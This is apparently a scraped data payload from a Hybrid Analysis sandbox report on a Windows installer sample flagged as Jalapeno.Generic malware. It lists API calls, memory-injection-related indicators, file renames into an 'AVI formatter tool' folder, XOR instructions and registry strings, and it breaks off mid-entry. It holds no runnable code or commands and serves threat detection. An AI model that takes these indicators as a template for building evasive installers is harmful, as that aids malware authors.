21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 99:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T4b7,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Jalapeno.Generic Sample 1ca559e6b592… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 1ca559e6b592…. Malware family: Jalapeno.Generic. Threat score 100/100. 20/26 AV engines flagged this file. 25 malicious and 29 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb","keywords":["Malicious","Jalapeno.Generic","malware analysis","sandbox report","threat intelligence","1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb"],"about":{"@type":"SoftwareApplication","name":"288cccc47bbc1871b439df19ff4df68f076.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Jalapeno.Generic","antivirusDetections":{"malicious":20,"total":26},"behavioralIndicators":{"malicious":25,"suspicious":29},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T6e6,"tuc4.exe" called "FindResourceA" with parameter "11111" - (UID: 00000000-00008828) "BroomSetup.exe" called "FindResourceW" with parameter "7972796" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "7104496" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "7104516" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "7104536" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "7104556" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "7104576" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "7973896" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "7974400" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "7974428" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "84554508" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "84557836" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "84848140" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "84106300" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "84107220" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "84573004" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "83792988" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "84109740" - (UID: 00000000-00008552) "BroomSetup.exe" called "FindResourceW" with parameter "84110620" - (UID: 00000000-00008552)23:Tba4,"tuc4.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '4264704'}" (UID: 00000000-00008828) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8484888'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485032'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485048'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485000'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485016'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8484984'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8484920'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8484904'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8483576'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485144'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485304'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485176'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485064'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485128'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485080'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485096'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485112'}" (UID: 00000000-00008552) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8485160'}" (UID: 00000000-00008552) "tuc4.tmp" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4893016'}" (UID: 00000000-00001444) "tuc4.tmp" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4893000'}" (UID: 00000000-00001444) "tuc4.tmp" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4893032'}" (UID: 00000000-00001444) "tuc4.tmp" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4893048'}" (UID: 00000000-00001444) "tuc4.tmp" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4893144'}" (UID: 00000000-00001444)24:T12c9,Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp, 00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")25:T7ab,file/memory contains long string with (Indicator: "VirtualAlloc"; File: "is-SM0SU.tmp") file/memory contains long string with (Indicator: "VirtualFree"; File: "is-SM0SU.tmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")26:T921,Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")27:T776,Found reference to API "RegSetValueEx" (Indicator: "RegSetValue"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "RegFlushKey" (Indicator: "RegFlushKey"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegRestoreKeyW" (Indicator: "RegRestoreKey"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegReplaceKeyW" (Indicator: "RegReplaceKey"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "RegSetValueEx" (Indicator: "RegSetValue"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp, 00000000-00001444.00000000.109009.72627000.00000002.mdmp") Found reference to API "RegFlushKey" (Indicator: "RegFlushKey"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "RegReplaceKeyW" (Indicator: "RegReplaceKey"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "RegRestoreKeyW" (Indicator: "RegRestoreKey"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")28:T1044,"tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\is-8EM8Q.tmp" to "%LOCALAPPDATA%\AVI formatter tool\unins000.exe" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-D2IHO.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\basscd.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-L88TK.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\bassflac.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-FNDLB.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\bassmix.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-14LP7.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\bassopus.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-B3OEQ.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\basswma.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-RPG62.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\basswv.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-IT2IF.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\bass_fx.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-H1H9R.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\bassmidi.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-SM0SU.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\bass_tta.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-7PKJI.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\COPYING.LGPLv2.1" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-4SRP0.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\ff_helper.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-EUUPD.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\gain_analysis.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-KGHLP.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\libFLAC_dynamic.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-IEB6T.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\bass_ofr.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-5BQCL.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\OptimFROG.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-Q1RQM.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\mp3gain.exe" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-AMMN6.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\rg_ebur128.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-PU7KQ.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\wavpackdll.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-VNOL6.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\libsoxr.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-9F3KE.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\uchardet.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-0VG2Q.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\utils.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-4M261.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\libdtsdec.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-117UC.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\dsd2.dll" "tuc4.tmp" renamed original file"C:\Users\%OSUSER%\AppData\Local\AVI formatter tool\bin\x86\is-ND51B.tmp" to "%LOCALAPPDATA%\AVI formatter tool\bin\x86\lame_enc.dll"29:T4c7,Process "WerFault.exe" [UID: 00000000-00007772] Process "WerFault.exe" [UID: 00000000-00007844] Process "WerFault.exe" [UID: 00000000-00008680] Process "WerFault.exe" [UID: 00000000-00007892] Process "WerFault.exe" [UID: 00000000-00006088] Process "WerFault.exe" [UID: 00000000-00007728] Process "WerFault.exe" [UID: 00000000-00009000] Process "WerFault.exe" [UID: 00000000-00002984] Process "WerFault.exe" [UID: 00000000-00003976] Process "WerFault.exe" [UID: 00000000-00000724] Process "WerFault.exe" [UID: 00000000-00008940] Process "WerFault.exe" [UID: 00000000-00006408] Process "WerFault.exe" [UID: 00000000-00008908] Process "WerFault.exe" [UID: 00000000-00007348] Process "WerFault.exe" [UID: 00000000-00005660] Process "WerFault.exe" [UID: 00000000-00004576] Process "WerFault.exe" [UID: 00000000-00008864] Process "WerFault.exe" [UID: 00000000-00006396] Process "WerFault.exe" [UID: 00000000-00007404] Process "WerFault.exe" [UID: 00000000-00007828] Process "WerFault.exe" [UID: 00000000-00007152] Process "WerFault.exe" [UID: 00000000-00008860] Process "WerFault.exe" [UID: 00000000-00007548] Process "WerFault.exe" [UID: 00000000-00008056] Process "WerFault.exe" [UID: 00000000-00007240]2a:Tb9a,Assembly shows XOR instruction xor dword ptr [ebx+6Dh] edx in Stream UID: 00000000-00008828-10222-34-00407D3C Assembly shows XOR instruction xor eax EDB88320h in Stream UID: 00000000-00008828-10222-70-0040785C Assembly shows XOR instruction xor dx cx in Stream UID: 00000000-00008828-10222-70-0040785C Assembly shows XOR instruction xor edx ebx in Stream UID: 00000000-00008828-10222-70-0040785C Assembly shows XOR instruction xor byte ptr [ecx] ch in Stream UID: 00000000-00008828-10222-121-0040102C Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00001444-15608-387-004752F8 Assembly shows XOR instruction xor byte ptr [esi] al in Stream UID: 00000000-00001444-15608-523-00438F34 Assembly shows XOR instruction xor word ptr [esi] ax in Stream UID: 00000000-00001444-15608-523-00438F34 Assembly shows XOR instruction xor dword ptr [esi] eax in Stream UID: 00000000-00001444-15608-523-00438F34 Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00001444-15608-542-00437318 Assembly shows XOR instruction xor dword ptr [eax] esp in Stream UID: 00000000-00001444-15608-642-0047FEF8 Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00001444-15608-722-004764FC Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00001444-15608-812-0046F7F0 Assembly shows XOR instruction xor dword ptr [ebp+63h] eax in Stream UID: 00000000-00001444-15608-1095-0045D3CD Assembly shows XOR instruction xor al byte ptr [ebp+63h] in Stream UID: 00000000-00001444-15608-1095-0045D3CD Assembly shows XOR instruction xor bl byte ptr [edi+62h] in Stream UID: 00000000-00001444-15608-1098-0045CE70 Assembly shows XOR instruction xor dx cx in Stream UID: 00000000-00001444-15608-1104-004504A4 Assembly shows XOR instruction xor edx ebx in Stream UID: 00000000-00001444-15608-1104-004504A4 Assembly shows XOR instruction xor eax dword ptr [eax] in Stream UID: 00000000-00001444-15608-1134-0044F5A3 Assembly shows XOR instruction xor bl 01h in Stream UID: 00000000-00001444-15608-2896-0045BA84 Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00001444-15608-2896-0045BA84 Assembly shows XOR instruction xor cl 01h in Stream UID: 00000000-00001444-15608-3494-00491BA4 Assembly shows XOR instruction xor al 01h in Stream UID: 00000000-00001444-15608-3731-004143F0 Assembly shows XOR instruction xor cl 01h in Stream UID: 00000000-00001444-15608-4496-0047040F Assembly shows XOR instruction xor esi 02h in Stream UID: 00000000-00001444-15608-4595-004805BC Assembly shows XOR instruction xor eax C3FFFA86h in Stream UID: 00000000-00001444-15608-5288-0045D483 Assembly shows XOR instruction xor ch byte ptr [esi] in Stream UID: 00000000-00001444-15608-5990-0045CD07 Assembly shows XOR instruction xor dword ptr [eax] eax in Stream UID: 00000000-00001444-15608-5990-0045CD07 Assembly shows XOR instruction xor eax edx in Stream UID: 00000000-00001444-15608-6634-0044E7042b:T749,file/memory contains long string with (Indicator: "GetCommandLine"; File: "is-PU7KQ.tmp") file/memory contains long string with (Indicator: "GetCommandLine"; File: "is-5BQCL.tmp") file/memory contains long string with (Indicator: "GetCommandLine"; File: "is-L2OG8.tmp") file/memory contains long string with (Indicator: "GetCommandLine"; File: "is-FEENV.tmp") file/memory contains long string with (Indicator: "GetCommandLine"; File: "is-S9I84.tmp") file/memory contains long string with (Indicator: "GetCommandLine"; File: "_setup64.tmp") file/memory contains long string with (Indicator: "GetCommandLine"; File: "_RegDLL.tmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found string "GetCursorPos" (Indicator: "GetCursorPos"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found string "GetCursorPos" (Indicator: "GetCursorPos"; Source: "00000000-00001444.00000000.109009.0049A000.00000004.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00001444.00000000.109009.004A0000.00000002.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp") Found string "GetCursorPos" (Indicator: "GetCursorPos"; Source: "00000000-00005060.00000000.109244.004B2000.00000002.mdmp")2c:T5df,file/memory contains long string with (Indicator: "software\microsoft\windows\currentversion\uninstall"; File: "unins000.dat") Found string "Software\Microsoft\Windows\CurrentVersion\Uninstall" (Indicator: "software\microsoft\windows\currentversion\uninstall"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found string "Software\Microsoft\Windows\CurrentVersion\Uninstall\" (Indicator: "software\microsoft\windows\currentversion\uninstall"; File: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found string "Software\Microsoft\Windows\CurrentVersion\Uninstall" (Indicator: "software\microsoft\windows\currentversion\uninstall"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found string "Software\Microsoft\Windows\CurrentVersion\Uninstall\" (Indicator: "software\microsoft\windows\currentversion\uninstall"; Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found string "JSoftware\Microsoft\Windows\CurrentVersion\Uninstall\AVI formatter tool_is" (Indicator: "software\microsoft\windows\currentversion\uninstall"; Source: "00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp") Found string "Software\Microsoft\Windows\CurrentVersion\Uninstall\AVI formatter tool_iX" (Indicator: "software\microsoft\windows\currentversion\uninstall"; Source: "00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp")2d:T528,Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; File: 